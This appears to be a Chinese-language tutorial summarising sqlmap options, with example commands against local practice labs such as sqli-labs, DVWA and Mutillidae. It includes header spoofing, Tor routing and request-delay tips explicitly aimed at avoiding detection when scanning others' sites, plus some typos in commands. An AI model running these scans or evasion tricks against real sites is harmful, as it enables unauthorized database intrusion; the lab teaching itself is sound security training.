sqlmap总结
参数总结
| 参数 | 作用 |
|---|---|
| -d | 直接连接数据库 |
| -u | 指定url扫描 |
| -l <文件名> | 导入一个文件可以来自Burp和WebScarab代理记录的文件 |
| -x | 叫批量的目标保存到xml格式的文件进行扫描 |
| -m 要指定的文件 | 多个目标URL保持到文件里,用-m进行多个扫描 |
| -r | Post提交方式,比如我们叫pros请求方到文件里面我们就可以用这个了 |
| -g | 用谷歌搜索引擎访问然后在进行扫描 |
| -c | 用配置文件进行扫描 |
| -v 0-6 | 查看返回结果信息有0-6级 |
指定目标
| 参数 | 作用 |
|---|---|
| -d | 直接连接数据库 |
| -u | 指定url扫描 |
| -l <文件名> | 导入一个文件可以来自Burp和WebScarab代理记录的文件 |
| -x | 叫批量的目标保存到xml格式的文件进行扫描 |
| -m 要指定的文件 | 多个目标URL保持到文件里,用-m进行多个扫描 |
| -r | Post提交方式,比如我们叫pros请求方到文件里面我们就可以用这个了 |
| -g | 用谷歌搜索引擎访问然后在进行扫描 |
| -c | 用配置文件进行扫描 |
| -v 0-6 | 查看返回结果信息有0-6级 |
实际操作
-d参数
这个不是什么扫描而是连接查询数据库的信息
mysql表示数据库类型
1 | python sqlmap -d "mysql://root:123456@192.168.0.103:3386/" |
-u参数
1 | sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/?id=1" -p id -f |
-p是要指定的变量名之对这个变量进行检查探测
-f是检查检查指纹信息
总体来说就是检查这个URL里的username进行指纹检查看见查
1 | >> sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/?id=1" -p id -f |
-l参数
1 | sqkmap -r 请求保存的文件 -a |
使用burpsuite log文件
用burp工具的请求的过程保存成一个log文件然后在用sqlmao读取log文件然后在漏洞的注入
保存log文件
![]()
命令
1 | sqlmap -l a |
扫描会非常长后面可以加参数
-r参数
1 | sqkmap -r 请求保存的文件 |
演示
a.txt文件内容
1 | POST /sqli-labs/Less-11/ HTTP/1.1 |
扫描
1 | zss@zss ~ sqlmap -r a.txt |
-m参数
1 | sqlmap -m 文件名 |
演示
a.txt文件内容
1 | http://192.168.0.103/sqli-labs/Less-1/?id=1 |
扫描
1 | >>> sqlmap -m a.txt |
-c参数
这个我们可以指定他的配置文件进行扫描
他的配置文件在/etc/sqlmap/sqlmap.conf
1 | sqlmap -c /etc/sqlmap/sqlmap.conf |
请求
| 参数 | 作用 |
|---|---|
| -A | 修改User-Agent头的就是我们的识别浏览器的 |
| -H | 修改X-Forwarded-For头的他是客户端最原始的IP地址 |
| –method | 用于强制修改请求的方式,比如get或者post |
| –data | 通过POST发送的数据字符串(例如“id=1”) |
| –param-del | 变量分隔符 |
| –cookie | 修改Cookie 标头值 检查注入点(–level>=至少是2) |
| –cookie-del | 用于分割 cookie 值的字符(例如 ;) |
| –drop-set-cookie | sqlmap扫描他会用上一个我们设置的cookie,可以用这个去掉 |
| –random-agent | 随机一个User-Agent 标头值 检查注入点(–level >= 3 ) |
| –host | 修改Host的值 检查注入点(–level >= 5 ) |
| –referer | 修改Referer的值 检查注入点(–level>=3 ) |
| –headers | 他可以单个请求头或者是多个请求头 |
| –auth-type/–auth-cred | 基于HTTP协议的身份验证,登录 |
| –ignore-code | 忽略(有问题的)HTTP 错误代码(例如 401) |
| –ignore-proxy | 忽略系统默认代理设置 |
| –ignore-redirects | 忽略重定向尝试 |
| –ignore-timeouts | 忽略连接超时 |
| –proxy | 使用代理 |
| –proxy-cred | 如果代理有帐号密码用这个 |
| –proxy-file | 多个代理,使用的是文件 |
| –proxy-freq | 从给定列表更改代理之间的请求 |
| –tor | 使用 Tor 匿名网络 |
| –delay | 设置扫描时间 |
| –timeout | 设置超时时间 |
| –retries | 尝试连接 |
| –randomize | 随机化参数 |
| –safe-url | 测试时经常访问的URL地址[视频教程][https://www.bilibili.com/video/BV1bJ41177mD?p=7] |
| –safe-post | POST 数据以发送到安全的 URL[视频教程][https://www.bilibili.com/video/BV1bJ41177mD?p=7] |
| –safe-req | 从文件加载安全的 HTTP 请求[视频教程][https://www.bilibili.com/video/BV1bJ41177mD?p=7] |
| –safe-freq | 访问安全 URL 之间的定期请求[视频教程][https://www.bilibili.com/video/BV1bJ41177mD?p=7] |
| –csrf-token | 用于保存anti-CSRF令牌的参数 |
| –csrf-url | 提取反 CSRF 令牌要访问的 URL 地址 |
| –csrf-method | 在反 CSRF 令牌页面访问期间使用的 HTTP 方法 |
| –csrf-retries | 重试反 CSRF 令牌检索(默认 0) |
| –force-ssl | 强制使用 SSL/HTTPS |
| –chunked | 使用 HTTP 分块传输编码 (POST) 请求 |
| –hpp | 使用HTTP参数污染方式 |
| –eval | |
实际操作
-A参数
默认发的探测包不是其他想IE浏览器或者是其他浏览器发的包默认撒sqlmap发的
这样的话网站管理员就会发现有人用sqlmap在扫那
自己指定user-agent
命令
1 | sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/\?id\=1" -A aaaaa |
可以看见是aaa![]()
-H参数
修改X-Forwarded-For头的他是客户端最原始的IP地址
sqlmap没有添加-H
1 | GET /sqli-labs/Less-1/\?id%5C=1 HTTP/1.1 |
添加后的sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/\?id\=1" -H X-Forwarded-For:127.0.0.1
1 | GET /sqli-labs/Less-1/\?id%5C=5818 HTTP/1.1 |
--method参数
扫描指定发的包GET和POST
用于强制修改请求的方式,比如get或者post
参数--method=GET或POST
命令
1 | sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/\?id\=1" --method=POST |
![]()
--data参数
他就是可以吧我们的post请求不用放到文件里面进行扫描我们就可以用这个
--data参数
代码
1 | sqlmap -u "http://192.168.0.103/sqli-labs/Less-11/" --data="uname=a&passwd=a&submit=Submit" |
是post请求的参数uname=a&passwd=a&submit=Submit
源请求
1 | POST /sqli-labs/Less-11/ HTTP/1.1 |
--param-del参数
大部分都是用&进行分割的,有小部分可能用其他的分隔符比如;,我们就可以用–param-del指定分隔符
1 | sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" |
–cookie参数
sqlmap 会自动检查cookie中的注入点(level>=至少是2)
可以用–cookie进行添加cookie
在浏览器里也可以找到cookie的![]()
命令
1 | sqlmap -u "http://192.168.43.245/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6c9388ff1b30ee4c444e21b5a2aff95e" |
![]()
注入检查
1 | sqlmap -u "http://192.168.43.245/dvwa/vulnerabilities/sqli_blind/?id=1" --level 2 |
![]()
–random-agent参数
–random-agent参数使用随机选择的 HTTP User-Agent 标头值
配置的user-agent在这个文件里/usr/share/sqlmap/data/txt/user-agents.txt
–random-agent会随机用上面这个文件里的user-agent
命令
1 | sqlmap -u "http://192.168.54.56/mutillidae/index.php?page=1" --random-agent |
看一下就不是sqlmap了![]()
注入
检查 user-agent 中的注入点:level >= 3
检查 user-agent 中的注入点:level >= 3
user-agent也是存在sql注入的
sqlmap扫描 user-agent 是否存在sql注入不须level>= 3 才会看看user-agent 是否存在漏洞
命令
1 | sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --random-agent --level 3 |
![]()
–host参数
修改Host的值
修改host头需要加上--host="xxxx"
命令
1 | sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=1" –-host="aaaaaaaa" |
![]()
检查注入
扫描host头是否存在sql漏洞level >= 5 才可以
命令
1 | sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" –-host="aaaaaaaa" --level 5 --dbs |
![]()
–referer参数
referer头是比如我们访问一个网页要跳转到另外一个网页原来的URL会在referer里
修改referer后面加上参数 --referer="要指定的referer"
1 | sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=1" --referer=="aaaaaaaa" |
检查注入
referer是否存在sql注入漏洞–level>=3才可以
命令
1 | sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --referer=="aaaaaaaa" --level 3 --dbs |
![]()
–headers参数
他可以单个请求头或者是多个请求头
单个要修改的头参数
--headers="头名:"要修改的东西""这个就不演示了
要是多个必须换行\n参数
--headers="头名:"要修改的东西\n"头名:"要修改的东西"
这个我就用Host头和User-Agent头
1 | sqlmap -u "http://192.168.51.36/mutillidae/index.php?page=1" --headers="Host:www.aaa.com\nUser-Agent:AAAAAAAAAA" |
![]()
可以看见被修改了![]()
–auth-type参数
他支持的类型Basic,Digest,NTLM
1 | sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type=身份认证类型 --auth-cred="帐号:密码" |
![]()
–proxy参数
参数--proxy="http://代理的ip:代理的端口"
1 | sqlmap -u "http://192.168.51.26/mutillidae/index.php?page=1" --proxy="http://127.0.0.1:8080" |
–proxy-file参数
a.txt文件内容
1 | http://127.0.0.1:8080 |
运行
1 | sqlmap -u "http://192.168.51.26/mutillidae/index.php?page=1" --proxy-file a.txt |
–tor参数
–tor是开启tor连接
他还有–tor-type指定代理的类型
HTTP、SOCKS4 或 SOCKS5(默认)
–tor-port指定tor端口
–check-tor检查 Tor 是否正确使用
我们需要安装tor
1 | sudo apt install tor |
启动tor
1 | service tor start |
–delay参数
用sqlmap去扫描别人的网站会发送大量的请求可能目标服务器会发现你给你屏蔽掉,我们可以设置发送包的时间
1 | --delay 要指定的时间 时间是秒 |
–timeout参数
1 | --timeout 要设置的时间 默认为30秒,30要没有响就超时了 |
–retries参数
1 | --retries 要设置的次数 比如超时时间设置30妙那么就是90妙 |
–randomize参数
我们在扫描一个点的时候都是用到一个id号,我们就可以用这个修改这个id号
1 | sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/?id=1" --randomize id |
他这个id指定的就是我们的参数
![]()
设置时间参数
设置扫描时间
用sqlmap去扫描别人的网站会发送大量的请求可能目标服务器会发现你给你屏蔽掉,我们可以设置发送包的时间
1 | --delay 要指定的时间 时间是秒 |
设置超时时间
1 | --timeout 要设置的时间 默认为30秒,30要没有响就超时了 |
尝试连接
1 | --retries 要设置的次数 比如超时时间设置30妙那么就是90妙 |
请求错误
如果你发送大量的错误请求就会被防护机制被注销掉可以用–safe-url每请求错误几次就放送正常的请求
1 | --safe-url 要设置几次 |
性能优化
| 参数 | 作用 |
|---|---|
| -o | 打开所有优化开关 |
| –predict-output | 预测常见查询输出 |
| –keep-alive | 使用持久的 HTTP(s) 连接 |
| –null-connection | 在没有实际 HTTP 响应正文的情况下检索页面长度 |
| –threads= | 最大并发 HTTP(s) 请求数(默认 1) |
实际操作
-O参数
-O就是用一个-O就是用代替下面的所有参数
–predict-output 预测公共查询输出
–keep-alive 使用永久HTTP(s)连接
–null-connection 没有实际HTTP响应正文的页长度
–predict-output参数
- 通常sqlmap扫描时间不叫长可以用优化参数
- 根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
版本名、用户名、密码、Privileges、role、数据库名称、表名、列名
与 –threads 参数不兼容就是你用了–threads那就不能用了–predict-output
统计表默认位置:/usr/share/sqlmap/data/txtcommon-outputs.txt
–keep-alive参数
使用 http(s) 长连接,性能好
与 –proxy 参数不兼容就是你用了–proxy 那就不能用了 –keep-alive
长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源(节省网络开销,但是会占用服务器资源,防止重复建立连接时被服务器端检测发现)
–null-connection参数
只获取相应页面的大小值,而非页面具体内容
通常用于盲注判断 真/假,降低网络带宽消耗
与–text-only参数不兼容(基于页面内容的比较判断 真/假
–threads参数
最大并发线程
盲注时每个线程获取一个字符(7次请求)。获取完成后线程结果
默认值为1,建议不要超过10,否则可能影响站点可用性
与 –predict-output参数不兼容
注射选择
| 参数 | 作用 |
|---|---|
| -p | 是要指定的变量名之对这个变量进行检查探测 |
| –skip | 排除指定的扫描参数 |
| –keep-alive | 使用持久的 HTTP(s) 连接 |
| –null-connection | 在没有实际 HTTP 响应正文的情况下检索页面长度 |
| –threads= | 最大并发 HTTP(s) 请求数(默认 1) |
-p参数
-p是要指定的变量名之对这个变量进行检查探测
1 | sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username |
意思就是只对username这个变量进行检查
或者探测多个
1 | sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p 'username,password' |
意思就是只对username和password变量进行检查
或者探测http头的内容
1 | sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/?id=1" -p "user-agent" |
比如我注入user-agent
![]()
--skip参数
排除指定的扫描参数
1 | sqlmap -u "http://192.168.0.103/sqli-labs/Less-1/?id=1" --level=5 --skip="要指定的头" |



